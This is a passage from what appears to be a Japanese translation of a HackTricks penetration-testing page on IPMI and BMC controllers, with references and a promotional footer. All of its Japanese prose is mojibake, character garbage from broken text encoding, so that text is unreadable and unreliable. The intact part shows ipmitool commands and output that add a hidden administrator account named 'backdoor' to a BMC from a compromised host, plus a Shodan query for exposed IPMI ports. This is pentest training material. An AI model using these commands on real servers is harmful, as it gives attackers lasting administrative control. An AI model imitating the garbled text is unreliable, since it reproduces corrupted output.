èŠãªããšãäœã§ãè¡ãããšãã§ããŸãããã¡ããããã®æ¹æ³ã䜿çšããã«ã¯ãã¹ããåèµ·åããå¿
èŠããããŸãããã¹ããžã®ã¢ã¯ã»ã¹ãååŸããããšã¯ã¯ããã«å°é£ã§ããããã¹ããå®è¡ããŠãããã®ã«äŸåããŸãããã¹ãã®ç©çã³ã³ãœãŒã«ããã°ã€ã³ããããŸãŸã«ãããŠããå Žåãçµã¿èŸŒã¿ã®KVMæ©èœã䜿çšããŠãããä¹ã£åãããšã¯éåžžã«ç°¡åã§ããã·ãªã¢ã«ã³ã³ãœãŒã«ã«ãåãããšãåœãŠã¯ãŸããŸã - ã·ãªã¢ã«ããŒããèªèšŒãããã»ãã·ã§ã³ã«æ¥ç¶ãããŠããå ŽåãBMCã¯ipmitoolã€ã³ã¿ãŒãã§ãŒã¹ã䜿çšããŠãã®ããŒããä¹ã£åãããšãèš±å¯ããå ŽåããããŸããi2cãã¹ãSuper I/Oããããªã©ã®å
±æããŒããŠã§ã¢ãžã®ã¢ã¯ã»ã¹ãæªçšããæ¹æ³ã¯ããããªãç 究ãå¿
èŠã§ãã
|
||
|
||
![](https://blog.rapid7.com/content/images/post-images/27966/ipmi\_bios.png)
|
||
|
||
![](https://blog.rapid7.com/content/images/post-images/27966/ipmi\_boot.png)
|
||
|
||
![](<../.gitbook/assets/image (202) (2).png>)
|
||
|
||
## ãã¹ãããBMCãžã®æ»æ
|
||
|
||
BMCãæèŒãããã¹ãã䟵害ãããå Žåã**BMCãžã®ããŒã«ã«ã€ã³ã¿ãŒãã§ãŒã¹ã䜿çšããŠããã¯ãã¢ãŠãŒã¶ãŒã¢ã«ãŠã³ããå°å
¥**ãããããããµãŒããŒã«æ°žç¶çãªç«å Žã確ç«ããããšãã§ããŸãããã®æ»æã«ã¯ããã¹ãã«**`ipmitool`**ãã€ã³ã¹ããŒã«ãããŠãããBMCã®ããã®ãã©ã€ããŒãµããŒããæå¹ã«ãªã£ãŠããå¿
èŠããããŸãã以äžã®äŸã¯ãèªèšŒãå¿
èŠãšããªããã¹ãäžã®ããŒã«ã«ã€ã³ã¿ãŒãã§ãŒã¹ã䜿çšããŠãBMCã«æ°ãããŠãŒã¶ãŒã¢ã«ãŠã³ãã泚å
¥ããæ¹æ³ã瀺ããŠããŸãããã®æ¹æ³ã¯ãLinuxãWindowsãBSDãããã«ã¯DOSã®ã¿ãŒã²ããã«å¯ŸããŠæ®éçã«äœ¿çšã§ããŸãã
|
||
```bash
|
||
ipmitool user list
|
||
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
||
2 ADMIN true false false Unknown (0x00)
|
||
3 root true false false Unknown (0x00)
|
||
|
||
ipmitool user set name 4 backdoor
|
||
ipmitool user set password 4 backdoor
|
||
ipmitool user priv 4 4
|
||
ipmitool user list
|
||
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
||
2 ADMIN true false false Unknown (0x00)
|
||
3 root true false false Unknown (0x00)
|
||
4 backdoor true false true ADMINISTRATOR
|
||
```
|
||
## Shodan
|
||
|
||
* `port:623`
|
||
|
||
## åèæç®
|
||
|
||
* [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
|
||
* [https://academy.hackthebox.com/module/112/section/1245](https://academy.hackthebox.com/module/112/section/1245)
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>âïž HackTricks Cloud âïž</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>ðŠ Twitter ðŠ</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>ðïž Twitch ðïž</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>ð¥ Youtube ð¥</strong></a></summary>
|
||
|
||
* **ãµã€ããŒã»ãã¥ãªãã£äŒæ¥ã§åããŠããŸããïŒ** HackTricksã§**äŒç€Ÿã宣äŒ**ãããã§ããïŒãŸãã¯ã**PEASSã®ææ°ããŒãžã§ã³ã«ã¢ã¯ã»ã¹ããããHackTricksãPDFã§ããŠã³ããŒã**ãããã§ããïŒ[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)ããã§ãã¯ããŠãã ããïŒ
|
||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)ãçºèŠããŸããããç¬å çãª[**NFT**](https://opensea.io/collection/the-peass-family)ã®ã³ã¬ã¯ã·ã§ã³ã§ãã
|
||
* [**å
¬åŒã®PEASSïŒHackTricksã®ã°ããº**](https://peass.creator-spring.com)ãæã«å
¥ããŸãããã
|
||
* [**ð¬**](https://emojipedia.org/speech-balloon/) [**Discordã°ã«ãŒã**](https://discord.gg/hRep4RUj7f)ãŸãã¯[**telegramã°ã«ãŒã**](https://t.me/peass)ã«**åå **ãããã**Twitter**ã§ç§ã**ãã©ããŒ**ããŠãã ãã[**ðŠ**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**ã**
|
||
* **ãããã³ã°ã®ããªãã¯ãå
±æããã«ã¯ãPRã** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ãš** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ã«æåºããŠãã ããã**
|
||
|
||
</details>
|